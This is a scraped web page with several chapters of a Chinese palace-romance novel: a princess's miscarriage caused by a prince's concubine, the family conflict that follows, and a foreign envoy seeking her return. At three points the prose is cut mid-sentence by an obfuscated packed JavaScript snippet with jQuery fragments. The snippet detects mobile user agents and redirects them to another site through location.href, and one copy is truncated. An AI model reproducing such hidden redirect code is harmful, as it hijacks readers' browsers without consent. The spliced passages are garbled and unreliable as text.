说话间,店伙计端菜敲门,二人停止了谈话。待上好了菜伙计出去,叶皓继续说道:“之前书信来往,有很多东西不能细说,如今我府上的确不便,我从重峪关将叶岚带了回来。” 江源夹着菜的筷子顿了一下,抬头看着叶皓,想要再确认一遍:“昭阳公主?” 叶皓点点头。 “公主,她可好?” “不好,怀着身孕,又在战场上……受了伤。现在在我府上养伤。” 江源也是疑惑,问道:“不是说昭阳公主被祁军刺死在了重峪关城楼上吗?好多军士都看见了。” 叶皓将事情经过与他说了一遍,最后说道:“其中有很多事情还不知道究竟,不过幸而她能逃过此劫。” “那时在洛河边看那崇宁王待六公主似乎很是情深,不想背后竟然这样对六公主。。” “情深是真,护不住也是真。” “殿下打算以后如何安排公主?” “此事正在筹谋中。我三哥想给她安排个新身份,希望她此后能安乐无忧。” “公主这经历真是坎坷,等有机会我定要去殿下府上看看公主……” 忽而外面有人急促的敲门声。叶皓说了声“进”。只见季萧急急进来,说道:“不好了,殿下,姑娘她……她跌了一跤……腹痛不止……” “什么?”叶皓惊得一身冷汗,当即站了起来,未来得及告辞,便快步向外走去。 江源面色凝重,思考片刻,也离去了。 55. 从此参商别 叶皓快马回府,高顺已在门口踱着步等候。去往淡云阁的路上高顺简明扼要地讲述了经过:“过了午时,成王侧妃突然来拜访,小的说您不在,侧妃说‘既已来了逛逛园子再走’,小的也不好阻拦,便由她去了。怎么料不多时有人来报姑娘跌了一跤……听说还是侧妃帮忙救了姑娘。” 叶皓不解她为何而来,问道:“侧妃走了吗?” 高管家回答:“本来想走,小的借着府中无人主事的由头将她留了下来。” “先别让她走。”叶皓说罢步前行。到了淡云阁,只见侍女们端着热水进进出出。他想进正殿却被舒雁拦了下来, 舒雁施了一礼,满脸焦急地说道:“殿下不可入,六公主已然见红,孩子怕是……” 叶皓又问:“郎中和稳婆可找了?” 高管家回答:“稳婆已经到了。祝先生离得远些,估计这会儿也快到了。” 此时,杜兰芳带着阿若从偏殿款款走来,说道:“既然四弟回来了,本宫也该回去了。”说罢转身要走。 未及叶皓开口,舒雁却闪身挡在她身前,说道:“此事还未有定论,侧妃不能走。” 杜兰芳怒不可揭,呵斥道:“大胆,这里哪有你说话的份。本宫已向信王殿下请辞,有何不能走?” “是你的侍女推了姑娘,姑娘才摔倒的。”舒雁急切地说出实情。 杜兰芳气急:“你……满口胡言……要不是本宫救了这姑娘,恐怕她现在还在外面躺着。本宫真是天大的冤屈。阿若,给我掌嘴。” 她话音未落,身后的阿若上前一步,伸手打了舒雁一掌。力道甚大,舒雁一个没站稳,摔倒在地,嘴角溢出血来。 阿若亦说道:“王妃为了救这姑娘手都擦伤了,你居然不知感恩,反而诬陷于人。” 舒雁并未顾忌自身,而是爬起来膝行到叶皓脚下,含着泪叩首道:“殿下,奴婢没有说谎,奴婢亲眼看见侧妃的侍女推倒姑娘,侧妃的伤……侧妃的伤是自己弄的……” 还未等叶皓说什么,只见画眉跑出来说道:“稳婆问郎中何时能来,姑娘已经气虚晕厥,胎儿掉不下来。” 叶皓立即叫来季萧吩咐道:“拿我的名帖去请董太医,再派人接应祝先生。”又叫来高顺,吩咐让他马上派人去宜州通知叶均。 此时,杜兰芳已经不耐烦,于是走上前来,说道:“本宫好意救了这姑娘,却被如此诬陷,真是奇耻大辱。” 叶皓压着怒气,冷声说道:“本王还未应允你离开。本王已派人通知成王来接你,待他来后,侧妃再与成王一同回府。还有,本王年长于你,担不起你这一声‘四弟’。来人,将成王侧妃请到偏殿休息。” 韦素上前一步,抱拳行礼后说道:“侧妃,这边请。” 杜兰芳又要发怒,可看到叶皓的神情阴冷,眼中隐隐可见杀气,便又不敢说什么,只得乖乖又回了偏殿。 叶皓看着跪在地上抽泣得舒雁,问道:“到底什么情况?” 舒雁描述起将当时情况:“六公主饭后觉得有些积食,便命奴婢陪着在外面走走。公主手凉,奴婢回房拿暖炉。回去时只看见阿若在公主身后将公主推倒,侧妃假装去扶,自己却也倒在地上。是奴婢没有照顾好公主,请殿下责罚。”她说罢,叩首请罪。 叶皓皱着眉头:“起来吧,此事不怪你。” 舒雁起身,眼角犹带泪痕,脸上一片红肿,嘴角血迹还未干。 叶皓:“可有其他人看到?” 舒雁摇摇头:“午时,大家不是在吃饭就是在休息,当时并无他人看见。” 叶皓很少在王府,这后宅争斗之事他哪里经历过。此刻他没有确凿的证据,也无法处置杜兰芳。现在将她留在王府已是不妥,但也只能如此而为。 他点点头,从怀中拿出手帕为舒雁擦掉了嘴角的血,继续说道:“你受委屈了,此事先不要声张。衣服脏了,下去换换。” 舒雁接过手帕,施礼告退。 郎中还没有来,稳婆又焦急地问地两次,高顺又派人去接应一次。 叶皓也顾不得什么忌讳,进入殿内,只闻得里面药味与血腥味交杂,两盆水已经被染成红色,叶岚面如金纸。 叶皓拉着她的手试图唤醒她。叫了好久,她悠悠转醒,似乎用尽全部的力气说道:“哥哥,我好痛……孩子是不是没了?我是不是要死了?” 几句话让叶皓心中酸涩不已,强忍着眼中的泪水,擦掉她额头上的汗珠,安慰道:“说什么傻话,董太医马上就到了。再坚持一下。” 正说着,侍卫带着董太医到了。来不及细说,进殿后立即为叶岚搭脉施针。 叶皓被请出殿外,侍卫回禀:“季侍卫长派属下去接应董太医,在半路上遇到太医的的软轿,事情紧急,属下便骑马将太医带回。” 叶皓:“好,重赏。” 侍卫退下后,季萧便带着鼻青脸肿的祝慎之来到叶皓面前。来不及多说,叶皓先让他进去救治。 季萧回禀道:“回殿下,属下算时辰,祝先生应该早到了。于是派人在附近寻找,果然巷子里找到了套着麻袋的祝先生。打开麻袋就是这个样子了。” 叶皓:“去查怎么回事。” “是。”季萧领命而去。 叶皓焦急地在外踱步。过了约一刻钟,董太医二人出来去开方。不多时就听见叶岚痛苦的声音,又过了一会稳婆出来说:孩子已经下来了,姑娘又晕过去了。接着侍女们将屋子里污秽之物一一清理出来。 祝慎之进去诊治,瞧过之后只说道:“性命无虞,但气随血脱,元气大伤。此后母体需好生将养,补以人参、当归、阿胶等。至于以后能否再孕,就要看日后调理得如何了。” “祝先生的意思是……”叶皓没有说出口,如今能保下叶岚的性命已是不易。其实他早就有心理准备,只是心中还抱有万一的希望,只是没想到这一日来得这得快,只是没想到会是这样的方式。 祝慎之未语。 也好问道:“有劳先生了,祝先生的伤克可知何人所为?本王定会为先生讨个公道。” 祝慎之本想说出实情,但转念一想:王公贵族家里的事都讳莫如深,还是不要卷入的好。于是只说道:“江湖行走,哪有不得罪人的,积年旧怨罢了。” 叶皓一听便知就理,也不再追问,吩咐高顺安排软轿将祝慎之送回。祝慎之到了自家医馆方才舒了一口气,这件事于他而言,终于结束了。 叶皓进殿,里面依旧弥漫着血腥味。叶岚还是昏睡,看着令人揪心。舒雁端着药碗进来。 此刻的叶岚,疼痛自腹部向躯干四肢蔓延,整个身体像被冰霜包裹着一般,寒冷入骨髓。 她恍惚中好像见到了冷逸尘,他说了一句“等我”后快马远去。她对着他的背影默默说道:“冷逸尘,你我之间唯一的牵绊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073899|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有了,我不会再等你了。” 继而她睁开眼睛,直勾勾地看地床幔。 叶皓见她这个样子,疑心她是伤心过度,忙摇了摇她的胳膊,轻轻地说道:“暖暖?” “孩子没了……”叶岚轻轻地说出了这几个字,可一字一字却又是千金之重,像是对这世间有个交代。 叶皓借着拿药碗的动作,转过身去擦了一下眼角,然后又转过来说道:“来,把药喝了,以后……好好调理身体。来……”他想到祝慎之的话,差点哽咽地说不出话来。一点点将药喂给叶岚,一碗药约摸喝了两刻钟才喝完。 叶皓为她擦了嘴角,问道:“好好休息……”之后却不知该说什么来安慰她。 “肚子好痛……”叶岚想抬手抚摸一下,却没有一点力气。 “六公主,董太医说这是正常,他已告诉奴婢如何按摩,奴婢这就给公主按摩,可以缓解疼痛。”舒雁说完又转向叶皓,行了一礼,道:“殿下,请回避。” 叶皓见叶岚如般冷静,心中很是不安,他现在只盼着叶均能快快赶来。此时,季萧来回禀,二人出了寝殿说话。 “找到阮孝了。”之后季萧又将祝慎之被打事情缘由详述了一遍。 叶岚摔倒后,情况紧急,高顺便派阮孝去请祝慎之。回来离王府约有一射之远时,碰见了成王府的两个采买,其中一人与阮孝同乡,便拉着阮孝去喝酒。饭时已过,他还水米未进,又被派去辛苦一趟,腹中早已饥饿难耐。他寻思:这王府近在咫尺,不送祝先生回去不会出什么差池。于是就告诉祝慎之自己去王府,门口自会有人接应。 季萧继续说道:“阮孝就交代了这些。之后的事属下推测应该是他们故意支走阮孝,然后将祝先生绑到巷子里殴打。晌午十分街上人少,还没查到到底是谁打的。” 叶皓思考着:“那两个采买可审问了?” “他们已回成王府,属下不好去问责。” 事已至此,叶皓已确定是杜兰芳所为,可是不明白她为何要这样做?此事还需等叶均来时再做定夺。于是他又问道:“给成王送信的人有消息吗?” “还没有,算时辰,就算骑最快的马,人也就刚刚到宜州城。” 叶皓看看阴沉的天色,大约今日他们赶不回来了。这时有人来报,成王侧妃摔了碗盏,闹着要回去。他深深叹了口气,思量着留杜兰芳一人在此实在不妥,到时自己有理也变得没理了,于是正准备吩咐高顺将人送回。此时,又有人来报,江源将军来访。 叶皓来到前堂,只见江源并一身着素衣的女子正在等他。还没等他认出女子是谁,那女子便拜倒在他跟前:“奴婢云琴,拜见信王殿下。” 叶皓一愣:“云琴?你怎么会在这里?” 未及云琴说什么,江源上前施礼,抢先说道:“殿下,臣与云琴已结为夫妻。” 这倒是出乎了叶皓的意料,他无论如何也没想到,江源的夫人竟然是云琴。想江源成亲是在去年过年之时,那时距秦羽故去还不到半年。 叶皓一时心情复杂,只说道:“去看看她吧。” “是。”云琴再扣一首,由侍从引着去了淡云阁。 叶皓转向江源,等他一个解释。 江源只简单说道:“秦羽安葬后,云琴出城居住。偶尔碰见了,后来便成亲了。” 江源几句话简单地说了事情的缘由,隐去了其中很多内情。 56. 不睦起争端 天上飘起雨丝来,已至戌时,叶皓想叶均大概不会到了。 循古制,梁京宵禁,城门戌时五刻关闭,寅时一刻开启,东西南北总计八道城门,关闭后落锁,钥匙交由城门司军士交由司钥长统一核准保管。待第二日城门开放之前,司钥长再将钥匙发放给城门司军士,准时打开城门。 每次交还、领取钥匙均有严苛的时间控制并签字画押、造册存档。每日雷打不动、风雨无阻,不论平民百姓还是王公贵族,宵禁后一律不得出入城门。 叶皓正打算让高顺安排人将杜兰芳送回时,侍女来报:成王侧妃砸了淡云阁偏殿的门。 他只得留下江源去看看。 杜兰若见叶皓来到,指着他的鼻子说道:“信王殿下,你好大的胆子。居然敢私自扣押本宫到这个时辰,明日本宫便要去宫中告知贵妃娘娘。” 叶皓心中有怒气,但她不会对一女子发泄,只是冷着脸严厉地说道:“你大闹信王府,意欲何为?本王妹妹之事还没有个定论,你反倒先闹起来。若是你害了她,本王绝不轻饶;若是冤枉了你,本王也自会去宫中请罪。” 杜兰芳气急,口不择言:“妹妹?哪里有这样藏着掖着的妹妹,不就是我夫君养在外面的贱婢吗?不知是哪家的女子,好不知耻,魅惑亲王,来和本宫抢夫君,今日便是她的报应……” 叶皓怒不可遏,用力地握紧了拳头,指关节已泛白,他岂能容人如此污蔑自己的哥哥和妹妹,正待他唤人来时。 一个人便快步走进来,给了杜兰芳一巴掌,扇得她一个趔趄。 叶皓才看清打的正是成王妃:夏萱,只见她身披斗篷,满脸怒气,鬓角已经松散,碎发上还沾着细小的水珠,一看便是快马而来。 夏萱脸色铁青,说道:“阿皓,先把她关起来,堵上她的嘴,免得她再胡言乱语,等我看完暖暖再处置她,若暖暖有个好歹,我定要她偿命。” 叶皓印象里,他的嫂嫂总是和蔼可亲,见过到她如此杀伐决断,倒是有些惊住了,他连忙称是。 杜兰芳见了叶均,便上前跪倒在地,抓住叶均的衣服哭诉道:“殿下,您要为妾做主啊,信王他……他对妾无礼,私自扣押……” 叶均扶起她,只说道:“是非曲直,待调查清楚后本王自会有决断。” 夏萱见叶均竟然扶起了杜兰芳,心中十分难受,但现在也不是计较的时候。她转向叶皓,问道:“暖暖如何了?” 还未及叶皓回答,画眉便在院里叫人。 原来,殿内叶岚身体劳伤,喝完药后一直沉睡,云琴来时也未醒,云琴看到叶岚的样子,心中十二万分的后悔、十二万分的自责,当初就不该离开她。她心中酸涩、无声的泪水如珠。 待到杜兰芳于院中大闹,叶岚也被吵醒,她精神不济,没有认出云琴,只叫到:“舒雁,倒些水来。” 云琴跪在脚榻上,声音悲戚地叫了一声“公主”,叶岚疑心自己是听错了,便好好看了看,疑惑地确认道:“云琴?” “是,是奴婢。”云琴强忍着挤出一点笑容,之后便是失声痛哭。 叶岚倒是没有多伤感,只是问道:“没想到,还能再见到你,你好吗?” 云琴连连点头,呜咽道:“好……好……奴婢过得很好,只是公主,奴婢对不住公主……” 舒雁端过药碗,云琴接过来,一点点吹凉喂给叶岚。 外面的争吵声愈发大了,叶岚问道:“是谁在外面,这么吵。” 画眉说道:“奴婢这就去看看。”说完行了一礼出门去了,只见院中站了一众人,她跑到叶皓跟前,小声说道:“殿下,姑娘醒了。” 叶皓对夏萱说道:“嫂嫂,先进去看看吧。”说罢,便也转身要去,却被叶均一把拉住。 叶均说道:“先让他们姐妹说说话。” 叶皓点头,带叶均去偏殿细说今日之情况。 夏萱进了正殿内,脱下披风,净了手在暖炉前驱了寒气才来到里间床前。 叶岚看见夏萱来了,叫了声“姐姐”,忽觉心中满是委屈心酸,眼角淌下泪来,她想起身,奈何没有力气。 夏萱见了她这副模样,心中难过至极,眼中亦是泪光闪烁:“暖暖,你受苦了。” 云琴跪拜夏萱,夏萱也疑惑她怎么会在这里,还未等她开口,云琴说道:“王妃一定有好多话对公主说,奴婢先告退了。”说完自去了。 叶岚哭起来,夏萱将她揽在怀中,一开始是她小声啜泣,后来便是泣不成声,夏萱也跟着流泪。 待她宣泄完情绪,夏萱说道:“好了,哭完就都过去了,我真该早点来看你,或者把你接回去。” 舒雁端了姜茶来,说道:“王妃,喝些姜茶暖暖身子吧。” 夏萱拭了泪,问道:“你叫什么名字?公主出事时可有人在身边?” “奴婢名叫舒雁……”然后舒雁将今日之事又向夏萱讲了一遍后请罪道:“是奴婢没有照顾好公主,不知为何,侧妃一定要加害公主,栽赃陷害。” 夏萱:“好孩子,回头有重赏,听刚才她的话,大约是怀疑这个孩子是成王的,真是荒谬,暖暖,你好好休息,我去料理了这事。” 叶岚不想自己的身世竟引来如此灾祸,惊动了这些么多人跟着担心,更有不睦,于是说道:“姐姐,不要去了,不要为我再生气。” 夏萱安顿好叶岚,说道:“暖暖,这件事必须要有个说法,要让所有人都明白缘由,不能任由她诬陷,你放心,我会处理。”她又转向舒雁,问道:“是哪家郎中瞧的病?” 舒雁回答道:“是妇科圣手祝先生和太医院的董太医,先生们都说公主气血不足、体恤疲惫,但于性命无碍,需卧床静养。” 夏萱边听边点点头,说道:“这两人医术高明,定然错不了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶均还在沉思那日还说了什么,有没有重要的事被她听到,叶皓先一步解释道:“这件事真的是你误会了,暖暖是王叔的女儿,走失多年,在战场上负了伤被本王带回来,本想等她好些再将此事公之于众。” 杜兰若并不相信:“你以为你这样说,我就会相信吗?那孩子又是哪里来的?” 叶均发话:“你不用管孩子是哪里来的,我是兄长、是舅舅,自然要抚养孩子,我那日说的话是‘等孩子生下来,就交给你嫂嫂抚养,我就是孩子的父亲’,的确是你误会了。” 听闻此言,杜兰芳冷笑一声,挣扎着站起来,有些疯癫地笑道:“未婚而孕,好不知耻。哈哈,你们合起伙来欺瞒我,是不是?你们是不是以为我傻,好欺负?夏萱,你要样貌没样貌、家世没家世,在殿下最艰难的时候弃他而去,你根本就不在乎他。” 她又转向叶均:“殿下,她这样待你,你的心里为什么还有她?就连睡梦中都叫着她的名字?我不好吗?我能给你的东西她永远也给不了,可你把我当成什么了?我待你的心你难道看不到吗?是不是只有她死了,你才会看到我?”说完,竟拔下一根簪子向夏萱刺去。 57. 烟雨断人肠 夏萱被杜兰芳这一席话刺痛,看向叶均,并未注意到杜兰芳的举动。 眼见簪子刺来,叶均一把将夏萱拉入怀中,用后背挡住。 杜兰芳见刺中了叶均,因紧张而未松手又将簪子拔了出来,血一下涌出染红了衣衫,她为了折磨府中侍婢,簪子都磨得极为锋利。 她有些不可思议地看着手上簪子,猛然扔掉,大叫了一声后哭泣起来:“不是,不是的,我不是故意的,殿下,我不是故意的……” 此时,敲门声响起,季萧隔着门说道:“回禀殿下,成王府常嬷嬷来接侧妃回府。” 一听是常嬷嬷,杜兰芳一下子又瘫软在地上,自言自语安说道:“不,我不回去,我不回去。” 叶皓打开门,交代了几句,不多时,常嬷嬷进来,虽然伤了腰却未失分寸,硬挺着行礼问安,借口“侧妃晚间的药还未服用”,带走了杜兰芳。 夏萱扶叶均坐下,解开衣领检查伤口,所幸所幸冬日衣服厚,伤得不深。 叶皓命人端来金疮药,此时韦素又来报:“殿下,江将军还在书房等您。” 他一拍脑门,说道:“这一闹,我竟忘记他还在。”说罢放下药膏自去了。 夏萱为叶均清理伤口敷上药,叶均能感受到她指尖的冰凉,反拉住她的手想为她暖一暖,但却被她挣脱了,叶均小心地叫了声:“萱儿……” 夏萱咬着牙说道:“今日常嬷嬷不来,我定要杀了她。” 叶均却笃定:“你的心没有那样狠,下不去手的。” 这句话倒是说到了夏萱的心坎上,但她依旧说:“我恨不得将她千刀万剐,纵然她是贵妃娘娘的侄女,是你的……侧妃,但是她伤了暖暖,我就是将这条命搭上,也要讨个说法。”说着便流下泪来。 虽说她没有喝杜兰芳的妾室茶、不愿承认这个侧妃,可事实就是事实,为了大局只能隐忍,可别人却把她的隐忍当成了软弱。 叶均见她如此心中疼痛,强将她揽在怀里,安抚道:“我知你心中委屈,都是我的错,我真是后悔,当时竟走了这一步,伤了你,伤了暖暖……” 夏萱冷冷地问:“你打算怎么办?” 叶均:“我想先将此事瞒下来……毕竟现在还不能与杜家撕破脸,等……” 夏萱不等他说完,又变了脸色,反问道:“等什么?还要等到什么时候?她杀死了暖暖的孩子,难道就这样算了?” 叶均:“萱儿,你听我说,现在还不是时候,祝先生和董太医都说过,暖暖的孩子是保不住的,只是暖暖伤心,便一直没有告诉她,兰芳嫁给我也非她所愿……”叶均还想解释些什么,可他看着夏萱如寒冰般的眼神,便未再继续说下去。 此时的夏萱如坠冰窟,他的口中竟然在为别的女人辩驳,是啊,装得久了,真真假假大概也会分不清了。 她控住不住情绪,站起身来说道:“你认定孩子保不住,所以这样的结果你不在意是吗?四个月的胎儿已经坐稳了,自会有办法保住,而不该是受今日这样的侮辱和痛苦。兰芳……这名字叫得还真是亲切,以前,我总是相信你,相信你的感情,现在看来我竟是大错特错了。” 她深吸一口气,继续说道:“等暖暖好些了,我便带她回宜州,我们人微势薄,惹不起躲得起。”说罢转身向门口走去。 叶均在后面急急说道:“萱儿,我不是,我没有……”边说边坐起身想拉住夏萱,却只触到了她的一角衣袖,一个不稳当又侧身摔倒,伤口一阵疼痛,而夏萱竟连头都没回。 他心中既恨又悔:恨自己没有能力保护亲人、悔自己为什么要走这一步。忍不住一拳重重地锤在地上,眼角溢出泪来。 果然是男儿有泪不轻弹,只是未到伤心处。 夏萱出来便看见江源来接云琴,云琴见了夏萱行礼问安。 江源一并行礼,说道:“臣江源,参见王妃。” 夏萱强忍伤心,敛了情绪说道:“我记得你,你是江源将军,昭阳公主出嫁,是将军一路护送。” 江源:“王妃好记性,正是微臣。” 夏萱:“将军怎么会在这里?” 江源:“臣同夫人来探望昭阳公主,现下要告辞了。” 听闻此言,夏萱看了看江源身后的云琴,见她一直低头,仿佛做错了事一般,又隐约闻到了云琴身上的奶味,便知她已生了孩子。 那日云琴归来,她生气未见云琴,但毕竟主仆一场,总要有个了断,于是说道:“江夫人,借一步说话。” 江源听后身形未动,将云琴掩在身后,面上露出担忧的神色。 夏萱看出他的担忧,说道:“将军放心,我不会为难江夫人。” 江源这才行礼告退,自去淡云轩外等候。 云琴跪拜道:“奴婢对不起王妃,对不起公主。” 夏萱并不看她:“起来吧,如今你已经是将军夫人了,我可受不起你如此大礼。” 云琴未动。 夏萱又问道:“孩子多大了?” “两……两个月……王妃怎么会知道?”云琴没有告知实情,声音有些发颤。 提到孩子,夏萱有些心软,语气缓和了一些:“本宫也是生养过的人,熟悉这奶娃娃的味道。”说完她心中叹了口气,感慨万千,这世上本就不会有长情之人。 事已至此,她不想多说什么,只说道:“你没有对不起我和公主,你对不起的是秦羽,秦羽刚走了一年……罢了,我只是痛心,我待你如妹妹,竟不知你是如此无情之人,回去吧,以后不必来了。”说完转身向正殿走去,身影无限落寞。 这一刻的夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073901|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萱,心中几近绝望:姨母悲凉一生只留下这一个女儿,堂堂公主竟被抛弃落胎,失了在这世间安身的名目;丈夫被她亲手推了出去,都说日久生情,杜兰芳再胡闹折腾,但日日相对,叶均难免不为所动;自己千辛万苦生养的孩子,却又夭折;而云琴,她只恨她无情无义。 一时间,她只觉众叛亲离,无限凄凉,可她还不能倒下,她还有母亲、儿女和妹妹要照顾,若倒下了,她们又该怎么办。 现在,她必须坚强。 云琴心中有委屈,可她觉得这都是自己的报应,怪不得别人,她朝着夏萱的背影叩了一首,也起身离去。 江源看到云琴面色青白,握住她的手问道:“王妃和你说什么了?我去向她解释清楚。” 云琴尽量保持平静,哭笑了一下,说道:“让将军担心了,妾无事。”她转身,泪水从眼角默默滑落,为了不让江源看见,她只能快步走在前面。 江源没有犹豫,快步跟上。 这一夜,注定煎熬的一夜,叶岚隐隐腹痛,夏萱照顾了一夜;叶均想见夏萱却屡屡被拒,在偏殿坐了一夜;叶皓看着这一家子人五劳七伤,也是一夜未眠;云琴回去默默流了半夜的眼泪,江源抱着孩子寸步不离,生怕她一个想不开。 夏萱在信王府照顾了叶岚七日,七日后叶岚已经能起身,她便回宜州去收拾屋子,等选个好天气,再接叶岚去宜州居住。 这几日里,叶均忙着祁国使团接待的事,早出晚归,每每想与她表明心迹,都被她冷言冷语拒绝。 成王府里,常嬷嬷杀鸡儆猴,将阿若痛打一顿,发买到了烟花之地。 杜兰芳那边有常嬷嬷压制,没有出什么风浪,她自知犯下大错,不敢再生事端。 叶均对外只说,杜兰芳突发失心病,刺伤了自己的,宫中和杜家为护自家女儿没有追问详情,只遣人来安抚叶均,同时,也让常嬷嬷加强了对杜兰芳的看管,杜兰芳几乎是被软禁。 这几日里,叶均和文辉已将叶岚之事安排妥当,叶岚户籍落入庆王宗谱上,继而奏报朝廷、姓名入玉牒,随后以庆王后人的名义昭告天下,叶均还请太史令为她选了个好名字:叶青。 当叶皓把文书拿给叶岚看时,叶岚很平静地说道:“历经生死,年龄反倒小了一岁,叶青,这个名字很好。” 叶皓安慰道:“这个名字是太史令千挑万选出来到,可保一世平安。” 叶岚:“哥哥们有心了。” 叶皓鼓励道:“一切都过去了,此后你便是叶青,快快好起来,外面的天朗气清都在等着你。” “好。”叶岚虽然笑着回答,可心中一阵酸涩,此后,她与冷逸尘便再无瓜葛。 在梁国,帝王之女称公主;亲王之女、公主之女皆称郡主,从此,合府上下均称叶岚为郡主。 58. 覆水难再收 三日后,天气晴好,夏萱驾了用油纸糊着的车来接叶岚,此时应该叫叶青了,但是叶岚让他们称自己为暖暖,叶青这个名字她还不熟悉。 叶皓命舒雁与画眉二人同去,毕竟她们服侍暖暖已有些时日,对她的起居饮食已然熟悉,再换人恐她不适。 车架出京西行二十里,在一个三岔口转向西南方,与西北方来的一队人马擦肩而过。 这队人马便是祁国使团,由梁国引进使于文则带领向梁京驶来。 此前,关于引进使人选,让叶均好好思考了一番,他本想亲自去迎接,但又觉得祁国此番前来是为和解,自己要拿着些姿态,加之暖暖出事,他也不便远行,便另选他人。 这于文则是长兴郡主的幺孙,与叶均同辈,所以于文则也算是皇室血脉、但又非亲王、王孙,身份正合适,遂任命他为引进使,使团入梁国境内,便由他接引至梁京。 使团此行的由头是新帝登基、告知诸邻,目的是来说明重峪关一战的内因,接崇宁王妃还朝。 叶均心中自是对冷逸尘多有不满,安排了繁文缛节,待所有流程完毕已是三日之后。 冷逸尘终于在驿馆见到了叶均,他将一册厚厚的关于重峪关的情况说明交给了叶均,并表示两国战乱因误会而起、如今误会已消,请允他迎回崇宁王妃。 叶均接过册子直接放到了桌上:“崇宁王说得真是轻巧,一句误会就抹掉了过往种种。”而后拿出令一本册子递给他:“这是重峪关一战的实况,崇宁王看看吧。” 冷逸尘打开,只见最后写着:……祁军士以昭阳公主为质,逼迫梁军退兵,后杀公主于重峪关城楼,悬尸城门,双方激战,重伤祁国主将,鸣金收兵。 冷逸尘看着,那日的场景历历在目,指尖微微颤抖起来,心中刺痛:难道她真的……不会的,不会的。 他强装镇定,屏退左右后急道:“她没死……她在哪里?” 叶均并未回答,抬头抬头看了他一眼后,缓缓端起茶杯:“崇宁王说什么胡话呢?” 冷他意识到失态,敛了情绪:“论理,本王也该叫成王一声哥哥,那日……” 叶均打断他:“不用,本王可担不起。” 他解释:“那日城楼上死的不是叶岚,我知道她没有死,我已说明情况与缘由,贵国这样写有违事实,况且于逻辑不通,只怕世人会有疑问。” 叶均早就料到他会如此说,从容地回答:“当日不管是梁国将士还是祁国将士,都亲眼看见昭阳公主被刺,尸身悬在重峪关城楼上,怎么就有违事实了?怎么就欺瞒世人了?” 他站起身来,上前一步,问道:“你如此说,可想过要将她置于何地?她以后如何在这世上安身。” 叶均面色变得严肃:“昭阳公主在你朝受的屈辱与伤害,我朝尚未追究,如今已然身故,还请崇宁王不要再打扰她的清净,你若还念夫妻之情,就不要再如此执着。” 说完也不等冷逸尘说什么,对着外面说道“来人”,陪同的官员和侍从入内后,他说道:“此次会面已结束,崇宁王可在梁京中体会一下我大梁风土人情,不过临近年关,想必崇宁王要赶回去过年,本王会尽快安排人送使团归国。”说完就要离去。 冷逸尘忙说道:“我要见信王,我要见叶皓。” 叶均此前试探过叶皓,皆被叶皓搪塞过去,听冷逸尘这样一说,便更加坚定心中猜想:他二人绝不仅仅是“有旧”这样的交情。 他只怕他们二人从往过密,会引人猜忌,毕竟现在明面上二人政见不和,叶均甚得人心、叶皓却被处处排挤,不能再为叶皓增加未知的困难,再者暖暖的事已定,不能再节外生枝。 于是他说道:“此行并未安排信王与使团相见,崇宁王有什么话可告知本王,本王会代为转达。” 冷逸尘欲言又止,最后还是什么也没说,只向叶均告了辞。 叶均怕夜长梦多,率先将重峪关一战的实情散出了,如此民间对此便有了定论。 很快昭阳公主身亡一事便在梁京盛传,压住了先庆王寻回女儿这一事,本来叶皓已编好了各种由头,以便填补漏洞、控制舆情,这样一来,倒也都无用了。 如此,落胎一事就悄悄被隐去了。 冷逸尘在驿馆里坐卧难安,他坚信叶岚没有死,他师兄那一剑不足以致命,他必须要见到师兄,见到叶岚,当面问清楚是梁国不让她回去,还是她自己不愿意回去。 他恨不得马上就见到师兄,于是带着泽生出驿馆去,还未走到门口,于文则正朝他们走来,说道:“殿下是要出门吗?下官劝殿下不要出去,现在人人都知道是祁国杀了公主,殿下出去此时只怕会有人对殿下不敬……走,下官陪殿下喝两杯。” 泽生机敏,说道:“驿馆的点心不新鲜,之前听闻公主说梁京的桂花糕甚是美味,我家殿下便想去尝尝鲜。” 于文则笑着道:“何劳殿下亲自去,在下命人买来便是,走,在下陪殿下去饮酒。” “不劳驾了。”冷逸尘对泽生说道:“泽生,你去吧,你知道本王的口味。” 泽生领命,径出驿馆而去,可心中不由得为冷逸尘担心。 于文则先请冷逸尘进殿,自己亲自去置酒,却悄悄命人跟着泽生。席上,冷逸尘饮了一杯便不再倒酒,于文则问道:“怎么,殿下是嫌弃我梁国的酒水不好?” 冷逸尘解释:“本王有伤在身,不能多饮。” 于文则端起酒杯:“在下看过贵国的文书,殿下凭一己之力平定的朝中谋逆,真是令人敬佩,此酒敬殿下。” 冷逸尘无奈,只得举了杯饮了酒:“小人作乱、形势所逼,但我朝君臣上下一心,外乱不足为患。” 于文则一笑再举杯:“殿下忠君王、敬天下,在下再敬殿下一杯,愿此后梁、祁盛世长安。” “忠君王、敬天下”这几个字,如一把把匕首刺进来冷逸尘的心里,家国与爱人,他最终还是家国,他终究还是负了她。 他按下于文则的酒杯,反问道:“本王的文书与成王的文书,你相信谁的?” 于文则没有直接回答,只是说道:“成王殿下已将事实公之于众,世人自然认为这就是事实。” 冷逸尘不解:“可成王为什么要这样做?” 